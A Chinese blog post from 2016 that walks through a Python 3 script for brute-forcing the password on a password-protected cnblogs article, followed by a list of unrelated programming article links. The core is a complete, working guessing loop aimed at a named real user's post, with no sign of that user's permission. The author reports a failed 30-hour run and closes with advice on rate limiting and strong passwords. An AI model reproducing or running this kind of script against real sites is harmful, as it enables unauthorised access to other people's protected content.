python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
用Python编程实现语音控制电脑
Apr 01 Python
Python程序设计入门(1)基本语法简介
Jun 13 Python
Python中的类与对象之描述符详解
Mar 27 Python
玩转python爬虫之爬取糗事百科段子
Feb 17 Python
解读python logging模块的使用方法
Apr 17 Python
python 使用while写猜年龄小游戏过程解析
Oct 07 Python
pygame实现五子棋游戏
Oct 29 Python
在pytorch 中计算精度、回归率、F1 score等指标的实例
Jan 18 Python
python 使用递归实现打印一个数字的每一位示例
Feb 27 Python
python语音识别指南终极版(有这一篇足矣)
Sep 09 Python
Python二元算术运算常用方法解析
Sep 15 Python
Django + Taro 前后端分离项目实现企业微信登录功能
Apr 07 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
使用字符串函数输出整数化的PHP版本号
2006/10/09 PHP
一个php导出oracle库的php代码
2009/04/20 PHP
实例介绍PHP的Reflection反射机制
2014/08/05 PHP
php 输入输出流详解及示例代码
2016/08/25 PHP
Django 中 cookie的使用
2017/08/17 PHP
php微信公众号开发之关键词回复
2018/10/20 PHP
PHP中rename()函数的妙用讲解
2019/02/28 PHP
jQuery实战之仿淘宝商城左侧导航效果
2011/04/12 Javascript
通过javascript把图片转化为字符画
2013/10/24 Javascript
js键盘事件的keyCode
2014/07/29 Javascript
ajax如何实现页面局部跳转与结果返回
2015/08/24 Javascript
JS组件Bootstrap Table表格行拖拽效果实现代码
2020/08/27 Javascript
JavaScript实现简单的tab选项卡切换
2016/01/05 Javascript
js检查是否关闭浏览器的方法
2016/08/02 Javascript
用angular实现多选按钮的全选与反选实例代码
2017/05/23 Javascript
vue router使用query和params传参的使用和区别
2017/11/13 Javascript
jQuery - AJAX load() 实例用法详解
2019/08/27 jQuery
python生成器generator用法实例分析
2015/06/04 Python
python实现人脸识别经典算法(一) 特征脸法
2018/03/13 Python
python+pandas分析nginx日志的实例
2018/04/28 Python
如何利用python制作时间戳转换工具详解
2018/09/12 Python
python requests包的request()函数中的参数-params和data的区别介绍
2020/05/05 Python
Django用户登录与注册系统的实现示例
2020/06/03 Python
python中lower函数实现方法及用法讲解
2020/12/23 Python
利用css3实现的简单的鼠标悬停按钮
2014/11/04 HTML / CSS
用HTML5.0制作网页的教程
2010/05/30 HTML / CSS
世界领先的艺术图书出版社:TASCHEN
2018/07/23 全球购物
娱乐地球:Entertainment Earth
2020/01/08 全球购物
农村婚庆司仪主持词
2014/03/15 职场文书
材料成型及控制工程专业求职信
2014/06/19 职场文书
大学毕业生管理学求职信
2014/09/01 职场文书
2015年试用期自我评价范文
2015/03/10 职场文书
试用期自我评价范文
2015/03/10 职场文书
销售员岗位职责范本
2015/04/11 职场文书
小学语文课《掌声》教学反思
2016/03/03 职场文书
低门槛开发iOS、Android、小程序应用的前端框架详解
2021/10/16 Javascript